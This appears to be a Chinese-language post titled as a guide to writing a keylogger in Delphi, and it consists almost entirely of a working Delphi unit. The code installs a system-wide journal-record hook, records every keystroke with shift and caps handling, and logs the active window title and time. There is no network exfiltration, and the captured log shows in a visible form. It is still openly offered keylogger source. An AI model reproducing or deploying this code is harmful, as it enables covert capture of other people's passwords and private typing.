Delphi 编写键盘记录器

unit Unit7;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
MEMO1: TMemo;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }

public
{ Public declarations }
end;

const
KeyMask = $80000000;
var

Form1: TForm1;
ch: Char;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HotKeyId: Integer;
HookList: TStringList; //
hookkey:String;////
implementation

{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var

vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
Time: string;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin

if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
if hookkey<>'' then
begin
HookList.Add(hookkey);
hookkey :='';
end;
HookList.Add('---End---');
HookList.Add('--begin--');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
//Time := DateTimeToStr(Now);
Time := TimeToStr(Now);
HookList.Add(Time + Format('Title:%s', [Title]));
end;
if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);
if ((vKey >= 48) and (vKey <= 57)) then
begin
if not bShift then
begin
ch := Char(vKey);
end else begin
case vKey of
48: ch := ')';
49: ch := '!';
50: ch := '@';
51: ch := '#';
52: ch := '$';
53: ch := '%';
54: ch := '^';
55: ch := '&';
56: ch := '*';
57: ch := '(';
end;
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
hookkey:=hookkey+ch;
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
hookkey:=hookkey+Char(vKey - 96 + 48);
ch:='n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '\' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
hookkey:=hookkey+ ch;
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[退格]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[空格]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
hookkey :=hookkey+str;
end;
end;
end ;
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
UnhookWindowsHookEx(LogHook);
LogHook := 0;
memo1.Clear;
memo1.Lines.Add(hooklist.Text);

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
HookList := TStringList.Create;
HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);

if LogHook = 0 then
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;

end.